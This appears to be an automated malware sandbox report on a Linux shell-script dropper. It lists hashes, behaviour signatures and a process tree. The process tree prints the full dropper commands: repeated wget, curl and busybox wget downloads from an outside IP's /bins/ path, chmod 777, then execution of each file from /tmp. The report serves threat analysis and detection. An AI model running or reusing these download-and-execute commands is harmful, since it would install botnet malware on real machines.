Analysis
- max time kernel
19s - max time network
20s - platform
debian-9_armhf - resource
debian9-armhf-20240729-en - resource tags
arch:armhfimage:debian9-armhf-20240729-enkernel:4.9.0-13-armmp-lpaelocale:en-usos:debian-9-armhfsystem - submitted
20/11/2024, 02:42
Static task
static1
Behavioral task
behavioral1
Sample
4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324.sh
Resource
ubuntu1804-amd64-20240508-en
Behavioral task
behavioral2
Sample
4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324.sh
Resource
debian9-armhf-20240729-en
Behavioral task
behavioral3
Sample
4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324.sh
Resource
debian9-mipsbe-20240611-en
Behavioral task
behavioral4
Sample
4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324.sh
Resource
debian9-mipsel-20240611-en
General
- Target 4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324.sh
- Size 10KB
- Sample241120-c66dpszbnj
- SHA256 4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324
- MD5 fb23fa91f7b90b7a676532663a56473d
- SHA1 a9ebb73f646a954fc7db70191efc34d1e0d566f1
- SHA512 41c97f2ae8152c322caa7f43177a00bdd1ac816667cfdece429446bafd2e3af510b24a760aab5670478ed9e816293ab1d8cf9716bf7ca5fdaa33c243a5227ed8
- SSDEEP 96:H6zYcKWsuOgXDH/dlmNuCSfHsU1Gs6GxJgKgsuOgXD3Yx3Ldlm11iEDuCSfHa1:HGYcNsuOgXDsU3ZvuOgXDb
- MD5 SHA1 SHA512 SSDEEP
Malware Config
Signatures
- File and Directory Permissions Modification 1 TTPs 13 IoCs
Adversaries may modify file or directory permissions to evade defenses.
pid Process 811 chmod 817 chmod 688 chmod 705 chmod 731 chmod 767 chmod 799 chmod 805 chmod 831 chmod 751 chmod 791 chmod 825 chmod 837 chmod - Executes dropped EXE 13 IoCs
ioc pid Process /tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG 689 WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG /tmp/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx 706 FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx /tmp/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx 733 JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx /tmp/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa 752 BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa /tmp/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN 768 tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN /tmp/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4 792 idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4 /tmp/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1 800 mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1 /tmp/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8 806 4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8 /tmp/DQul2qKd09ITKkHJpETty8DirCA07F1nBT 812 DQul2qKd09ITKkHJpETty8DirCA07F1nBT /tmp/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz 818 teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz /tmp/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx 826 PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx /tmp/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m 832 ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m /tmp/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS 838 2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS - Checks CPU configuration 1 TTPs 13 IoCs
Checks CPU information which indicate if the system is a virtual machine.
description ioc Process File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl File opened for reading /proc/cpuinfo curl -
description ioc Process File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl File opened for reading /proc/self/auxv curl File opened for reading /proc/sys/crypto/fips_enabled curl File opened for reading /proc/self/auxv curl - Writes file to tmp directory 13 IoCs
Malware often drops required files in the /tmp directory.
description ioc Process File opened for modification /tmp/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa curl File opened for modification /tmp/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4 curl File opened for modification /tmp/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1 curl File opened for modification /tmp/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8 curl File opened for modification /tmp/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx curl File opened for modification /tmp/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx curl File opened for modification /tmp/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx curl File opened for modification /tmp/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN curl File opened for modification /tmp/DQul2qKd09ITKkHJpETty8DirCA07F1nBT curl File opened for modification /tmp/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz curl File opened for modification /tmp/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m curl File opened for modification /tmp/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS curl File opened for modification /tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG curl
Processes
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/tmp/4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324.sh/tmp/4fc7b9718f0dc556950400a19e24ca57956f53e3f74aff84a9a8db3a80328324.sh1⤵PID:655
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/bin/rm/bin/rm bins.sh2⤵PID:657
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/usr/bin/wgetwget http://216.126.231.240/bins/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG2⤵PID:659
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/usr/bin/curlcurl -O http://216.126.231.240/bins/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:680
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG2⤵PID:687
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/bin/chmodchmod 777 WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG2⤵
- File and Directory Permissions Modification
PID:688
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/tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG./WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG2⤵
- Executes dropped EXE
PID:689
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/bin/rmrm WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG2⤵PID:690
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/usr/bin/wgetwget http://216.126.231.240/bins/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx2⤵PID:691
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/usr/bin/curlcurl -O http://216.126.231.240/bins/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:692
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx2⤵PID:699
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/bin/chmodchmod 777 FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx2⤵
- File and Directory Permissions Modification
PID:705
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/tmp/FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx./FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx2⤵
- Executes dropped EXE
PID:706
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/bin/rmrm FGPPjJkNp6juPupFXpnlM5Pk4GQ1XOfedx2⤵PID:708
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/usr/bin/wgetwget http://216.126.231.240/bins/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx2⤵PID:709
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/usr/bin/curlcurl -O http://216.126.231.240/bins/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:716
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx2⤵PID:723
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/bin/chmodchmod 777 JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx2⤵
- File and Directory Permissions Modification
PID:731
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/tmp/JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx./JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx2⤵
- Executes dropped EXE
PID:733
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/bin/rmrm JvxUArkHjLKhR0iDE16tTHEkSvlg7mtrHx2⤵PID:734
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/usr/bin/wgetwget http://216.126.231.240/bins/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa2⤵PID:735
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/usr/bin/curlcurl -O http://216.126.231.240/bins/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:743
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa2⤵PID:749
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/bin/chmodchmod 777 BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa2⤵
- File and Directory Permissions Modification
PID:751
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/tmp/BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa./BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa2⤵
- Executes dropped EXE
PID:752
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/bin/rmrm BPME29EV9N6hmmo6w85WDzBep2U2iy0cWa2⤵PID:753
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/usr/bin/wgetwget http://216.126.231.240/bins/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN2⤵PID:754
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/usr/bin/curlcurl -O http://216.126.231.240/bins/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:755
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN2⤵PID:761
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/bin/chmodchmod 777 tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN2⤵
- File and Directory Permissions Modification
PID:767
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/tmp/tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN./tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN2⤵
- Executes dropped EXE
PID:768
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/bin/rmrm tfulUtiwcGoNnKWNTxI5ZM0AYRs4bKf9cN2⤵PID:769
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/usr/bin/wgetwget http://216.126.231.240/bins/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J42⤵PID:771
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/usr/bin/curlcurl -O http://216.126.231.240/bins/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J42⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:777
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J42⤵PID:784
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/bin/chmodchmod 777 idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J42⤵
- File and Directory Permissions Modification
PID:791
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/tmp/idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J4./idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J42⤵
- Executes dropped EXE
PID:792
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/bin/rmrm idnGNyuDmgXtrrMK2gSYIIEEESp0hj15J42⤵PID:793
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/usr/bin/wgetwget http://216.126.231.240/bins/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa12⤵PID:795
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/usr/bin/curlcurl -O http://216.126.231.240/bins/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa12⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:797
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa12⤵PID:798
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/bin/chmodchmod 777 mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa12⤵
- File and Directory Permissions Modification
PID:799
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/tmp/mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa1./mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa12⤵
- Executes dropped EXE
PID:800
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/bin/rmrm mCr9mPdN28V3Gp6Rv8cn31xESvvDYL3Fa12⤵PID:801
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/usr/bin/wgetwget http://216.126.231.240/bins/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON82⤵PID:802
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/usr/bin/curlcurl -O http://216.126.231.240/bins/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON82⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:803
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON82⤵PID:804
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/bin/chmodchmod 777 4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON82⤵
- File and Directory Permissions Modification
PID:805
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/tmp/4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON8./4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON82⤵
- Executes dropped EXE
PID:806
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/bin/rmrm 4rHixWyNmsx0szqzpWJaZeoKyOAcs3oON82⤵PID:807
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/usr/bin/wgetwget http://216.126.231.240/bins/DQul2qKd09ITKkHJpETty8DirCA07F1nBT2⤵PID:808
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/usr/bin/curlcurl -O http://216.126.231.240/bins/DQul2qKd09ITKkHJpETty8DirCA07F1nBT2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:809
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/DQul2qKd09ITKkHJpETty8DirCA07F1nBT2⤵PID:810
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/bin/chmodchmod 777 DQul2qKd09ITKkHJpETty8DirCA07F1nBT2⤵
- File and Directory Permissions Modification
PID:811
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/tmp/DQul2qKd09ITKkHJpETty8DirCA07F1nBT./DQul2qKd09ITKkHJpETty8DirCA07F1nBT2⤵
- Executes dropped EXE
PID:812
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/bin/rmrm DQul2qKd09ITKkHJpETty8DirCA07F1nBT2⤵PID:813
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/usr/bin/wgetwget http://216.126.231.240/bins/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz2⤵PID:814
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/usr/bin/curlcurl -O http://216.126.231.240/bins/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:815
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz2⤵PID:816
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/bin/chmodchmod 777 teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz2⤵
- File and Directory Permissions Modification
PID:817
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/tmp/teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz./teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz2⤵
- Executes dropped EXE
PID:818
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/bin/rmrm teb0EwBkAsUTRHDbmUU61VmaAQLtJ4tHdz2⤵PID:819
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/usr/bin/wgetwget http://216.126.231.240/bins/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx2⤵PID:820
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/usr/bin/curlcurl -O http://216.126.231.240/bins/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:821
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx2⤵PID:822
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/bin/chmodchmod 777 PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx2⤵
- File and Directory Permissions Modification
PID:825
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/tmp/PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx./PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx2⤵
- Executes dropped EXE
PID:826
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/bin/rmrm PU2Tx3XhB135BQdHCubzS3AEjqVMNEEoWx2⤵PID:827
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/usr/bin/wgetwget http://216.126.231.240/bins/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m2⤵PID:828
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/usr/bin/curlcurl -O http://216.126.231.240/bins/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:829
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m2⤵PID:830
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/bin/chmodchmod 777 ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m2⤵
- File and Directory Permissions Modification
PID:831
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/tmp/ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m./ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m2⤵
- Executes dropped EXE
PID:832
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/bin/rmrm ixEc8Uo2OgF5hXDmp3rvN61CxWLaS6oa2m2⤵PID:833
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/usr/bin/wgetwget http://216.126.231.240/bins/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS2⤵PID:834
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/usr/bin/curlcurl -O http://216.126.231.240/bins/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS2⤵
- Checks CPU configuration
- Reads runtime system information
- Writes file to tmp directory
PID:835
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/bin/busybox/bin/busybox wget http://216.126.231.240/bins/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS2⤵PID:836
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/bin/chmodchmod 777 2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS2⤵
- File and Directory Permissions Modification
PID:837
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/tmp/2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS./2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS2⤵
- Executes dropped EXE
PID:838
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/bin/rmrm 2uBrEuvqADi118fB1BE0Xz2VKKetNSOIFS2⤵PID:839
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/usr/bin/wgetwget http://216.126.231.240/bins/zbq5Y476dvNQ394RN8IM6UoW9NRkMhg9Rh2⤵PID:840
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
Loading Replay Monitor...
Downloads
- Path /tmp/WWIuThY9sKOfz9sJyVMRJ8FKDPdMDEkMNG
- Size 153B
- SHA256 533a1ca5d6595793725bca7641d9461a0f00dd1732dded3e4281196f5dd21736
- MD5 998368d7c95ea4293237f2320546e440
- SHA1 30dfd2d3bb8a7e3241bd7792e90a98ebb70be3a4
- SHA512 648c4720a85dbf834be1ba00f0e1b4167cc670fe15896efb00a77fb6e0c225a13aae3da10d85fa6e7f726420d9bb3c20c43466e02296d44153c127b7160e0b97
- MD5 SHA1 SHA512